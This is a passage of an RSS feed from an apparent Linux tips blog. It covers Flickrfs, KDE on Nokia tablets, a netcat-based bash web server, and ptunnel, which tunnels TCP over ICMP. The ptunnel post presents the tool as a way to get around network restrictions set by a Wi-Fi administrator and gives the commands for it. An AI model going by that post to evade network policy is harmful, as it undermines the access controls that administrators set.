		<description><![CDATA[Flickr is an extremely popular image/video hosting website, web services suite and an online community platform. It was one of the earliest Web 2.0 applications. In addition to being a popular Web site for users to share personal photographs, the service is widely used by bloggers as a photo repository. It hosts more than two [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://www.linuxscrew.com/wp-content/uploads/2008/04/flickr_logo.jpg" title="flickr logo" alt="flickr logo" align="right" /><a href="http://www.flickr.com/" target="_blank"><strong>Flickr</strong></a> is an extremely popular image/video hosting website, web services suite and an online community platform. It was one of the earliest Web 2.0 applications. In addition to being a popular Web site for users to share personal photographs, the service is widely used by bloggers as a photo repository. It hosts more than two billion images.</p>
<p>Now it is possible to <strong>mount</strong> your Flickr account on Linux PC as a <strong>virtual filesystem</strong>, allowing you to browse through your photos as if they were on a locally connected drive.  It can be now easily done with <strong><a href="http://manishrjain.googlepages.com/flickrfs" target="_blank">Flickrfs</a></strong>:</p>
<blockquote><p>Once mounted, it retrieves information about your photos hosted on your flickr account, and shows them as files. You can now easily copy photos from your local machine to this mount, and it will automatically upload them to your flickr account. Similary, you can copy the files from your mount to your local machine, and it will download your images from flickr.</p></blockquote>
<blockquote><p>All the files in the mount have a meta file attached to them, which provides access to title, description, tags, and license information. Modifying any of these fields and saving the meta file, will update them on the server as well.</p></blockquote>
<p>You are lucky if you chose <strong>Ubuntu</strong> as detailed <a href="http://manishrjain.googlepages.com/flickrfs#ubuntu" target="_blank">step-by-step installation guide</a> is available at author&#8217;s site for Ubuntu users. Of course you are welcome to use it under other Linux distributions e.g. Slackware <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/04/30/mount-your-flickr-account-as-regular-linux-drive/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ptunnel: send/receive TCP traffic via ICMP reliably</title>
		<link>http://www.linuxscrew.com/2008/04/10/ptunnel-sendreceive-tcp-traffic-via-icmp-reliably/</link>
		<comments>http://www.linuxscrew.com/2008/04/10/ptunnel-sendreceive-tcp-traffic-via-icmp-reliably/#comments</comments>
		<pubDate>Thu, 10 Apr 2008 20:36:47 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[applications]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2008/04/10/ptunnel-sendreceive-tcp-traffic-via-icmp-reliably/</guid>
		<description><![CDATA[Yes, it can be useful sometimes. For example, you have access to Wi-Fi network but you&#8217;re not allowed to access Internet via TCP/UDP as these protocols are blocked. At the same time ICMP is opened and you can ping everything alive in Internet. So, to check your email just have ptunnel installed and work around [...]]]></description>
			<content:encoded><![CDATA[<p>Yes, it can be useful sometimes. For example, you have access to Wi-Fi network but you&#8217;re not allowed to access Internet via <strong>TCP/UDP</strong> as these protocols are blocked. At the same time <strong>ICMP</strong> is opened and you can ping everything alive in Internet. So, to check your email just have <a href="http://www.cs.uit.no/~daniels/PingTunnel/" target="_blank"><strong>ptunnel</strong></a> installed and work around the restrictions set by the Wi-Fi network sysadmin easily.</p>
<blockquote><p>Ptunnel is an application that allows you to reliably <strong>tunnel</strong> TCP connections to a remote host using ICMP echo request and reply packets, commonly known as ping requests and replies. It is not a feature-rich tool by any means, but it does what it advertises. So here is what it can do:</p>
<ul>
<li>Tunnel TCP using ICMP echo request and reply packets</li>
<li>Connections are reliable (lost packets are resent as necessary)</li>
<li>Handles multiple connections</li>
<li>Acceptable bandwidth (150 kb/s downstream and about 50 kb/s upstream are the currently measured maximas for one tunnel)</li>
<li>Authentication, to prevent just anyone from using your proxy</li>
</ul>
</blockquote>
<p>1. <strong>Install ptunnel in Ubuntu or Debian</strong><br />
apt-get install ptunnel</p>
<p>2. <strong>Start ptunnel proxy:</strong></p>
<p><code>ptunnel -p proxy_address -lp listen_port  -da  destination_address  -dp dest_port  [-c  network_device]  [-v  verbosity] [-u] [-x password] [-f file]</code></p>
<p>The following example assumes that ptunnel is run as root, both  on  the  proxy  and  client.  To  tunnel  ssh connections from the client machine via a  proxy running on proxy.pingtunnel.com to the computer login.domain.com, the following command line would be used:</p>
<p><code>ptunnel -p proxy.pingtunnel.com -lp 8000 -da login.domain.com -dp 22</code></p>
<p>An  ssh  connection  to login.domain.com can now be established as follows:</p>
<p><code>ssh -p 8000 localhost</code></p>
<p>P.S. A brief manual on how to use ptunnel can be got <a href="http://www.debianadmin.com/access-network-when-everything-else-is-blocked-using-ptunnel.html" target="_blank">here</a>.<br />
P.P.S. If you are sysadmin and have to forbid Internet access to some user in LAN, don&#8217;t forget to block ICMP! <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2008/04/10/ptunnel-sendreceive-tcp-traffic-via-icmp-reliably/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>KDE on Nokia Internet Tablet n800 and n770</title>
		<link>http://www.linuxscrew.com/2007/09/12/kde-on-nokia-internet-tablet-n800-and-n770/</link>
		<comments>http://www.linuxscrew.com/2007/09/12/kde-on-nokia-internet-tablet-n800-and-n770/#comments</comments>
		<pubDate>Wed, 12 Sep 2007 08:19:50 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[hacks]]></category>
		<category><![CDATA[kde]]></category>
		<category><![CDATA[mobile]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2007/09/12/kde-on-nokia-internet-tablet-n800-and-n770/</guid>
		<description><![CDATA[The Nokia N800 Internet Tablet is a wireless Internet appliance from Nokia. The N800 was developed as the successor to the Nokia 770. It is designed for wireless Internet browsing and e-mail functions and includes software such as FM and Internet radio, an RSS news reader, image viewer and media players for selected types of [...]]]></description>
			<content:encoded><![CDATA[<p>The <strong><a href="http://www.nokia.com" target="_blank">Nokia</a> <a href="http://en.wikipedia.org/wiki/Nokia_N800" target="_blank">N800</a></strong> Internet Tablet is a wireless Internet appliance from <a href="http://en.wikipedia.org/wiki/Nokia" title="Nokia">Nokia</a>. The N800 was developed as the successor to the <a href="http://en.wikipedia.org/wiki/Nokia_770_Internet_Tablet" title="Nokia 770 Internet Tablet">Nokia 770</a>. It is designed for <a href="http://en.wikipedia.org/wiki/Wireless" title="Wireless">wireless</a> <a href="http://en.wikipedia.org/wiki/Internet" title="Internet">Internet</a> browsing and <a href="http://en.wikipedia.org/wiki/E-mail" title="E-mail">e-mail</a> functions and includes software such as FM and Internet radio, an <a href="http://en.wikipedia.org/wiki/RSS_%28file_format%29" title="RSS (file format)">RSS</a> news reader, <a href="http://en.wikipedia.org/wiki/Digital_photo_frame" title="Digital photo frame">image viewer</a> and media players for selected types of media.</p>
<p><a href="http://www.blogger.com/profile/00752643390016368332" target="_blank">TY</a>:</p>
<blockquote><p>KDE and all it&#8217;s supporting programs have been compiled for the Internet Tablet, and it works b-e-a-utifully. I&#8217;ve installed this sucker on my N770 and it purrs like a kitten, believe it or not <img src='http://www.linuxscrew.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p></blockquote>
<p align="center"><img src="http://www.linuxscrew.com/wp-content/uploads/2007/09/snapshot1-356.png" title="kde_n800" alt="kde_n800" height="192" width="320" /></p>
<p><a href="http://geekpenguin.blogspot.com/2007/09/kde-on-it.html" target="_blank">Read more&#8230;</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2007/09/12/kde-on-nokia-internet-tablet-n800-and-n770/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Web server oneliner with bash</title>
		<link>http://www.linuxscrew.com/2007/09/06/web-server-on-bash-in-one-line/</link>
		<comments>http://www.linuxscrew.com/2007/09/06/web-server-on-bash-in-one-line/#comments</comments>
		<pubDate>Thu, 06 Sep 2007 20:46:53 +0000</pubDate>
		<dc:creator>artiomix</dc:creator>
				<category><![CDATA[debian]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://www.linuxscrew.com/2007/09/06/web-server-on-bash-in-one-line/</guid>
		<description><![CDATA[It&#8217;s amazing but it&#8217;s possible to write little web server on bash shell script. Here is it&#8217;s source code:
:;while [ $? -eq 0 ];do nc -vlp 8080 -c'(r=read;e=echo;$r a b c;z=$r;while [ ${#z} -gt 2 ];do $r z;done;f=`$e $b&#124;sed 's/[^a-z0-9_.-]//gi'`;h="HTTP/1.0";o="$h 200 OK\r\n";c="Content";if [ -z $f ];then($e $o;ls&#124;(while $r n;do if [ -f "$n" ]; then [...]]]></description>
			<content:encoded><![CDATA[<p>It&#8217;s amazing but it&#8217;s possible to write little <strong>web server</strong> on <a href="http://www.gnu.org/software/bash/" target="_blank"><strong>bash</strong></a> shell script. Here is it&#8217;s source code:</p>
<p><code>:;while [ $? -eq 0 ];do nc -vlp 8080 -c'(r=read;e=echo;$r a b c;z=$r;while [ ${#z} -gt 2 ];do $r z;done;f=`$e $b|sed 's/[^a-z0-9_.-]//gi'`;h="HTTP/1.0";o="$h 200 OK\r\n";c="Content";if [ -z $f ];then($e $o;ls|(while $r n;do if [ -f "$n" ]; then $e "`ls -gh $n`";fi;done););elif [ -f $f ];then $e "$o$c-Type: `file -ib $f`\n$c-Length: `stat -c%s $f`";$e;cat $f;else $e -e "$h 404 Not Found\n\n404\n";fi)';done</code></p>
<p style="text-align: center"><a href="http://www.linuxscrew.com/wp-content/uploads/2007/09/bash_web_server.png" target="_blank"><img src="http://www.linuxscrew.com/wp-content/uploads/2007/09/bash_web_server.thumbnail.png" title="Bash shell script web server" alt="Bash shell script web server" align="left" border="0" /></a></p>
<p>You can download it <a href="http://www.linuxscrew.com/wp-content/uploads/2007/09/bash_web_server.sh.txt" target="_blank">here</a>.</p>
<p>Just run it and then load web page <em>http://192.168.0.7:8080</em>, where 192.168.0.7 is IP address of the <strong>Linux</strong> machine you&#8217;ve started above mentioned bash script. You&#8217;ll see links to files located in directory the script was started at.  My respect to <a href="http://alexey.sveshnikov.ru" target="_blank">Alexey Sveshnikov</a>.</p>
<p>P.S. Script was tested at <strong>Ubuntu</strong> and <strong>Debian</strong> Linux.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.linuxscrew.com/2007/09/06/web-server-on-bash-in-one-line/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

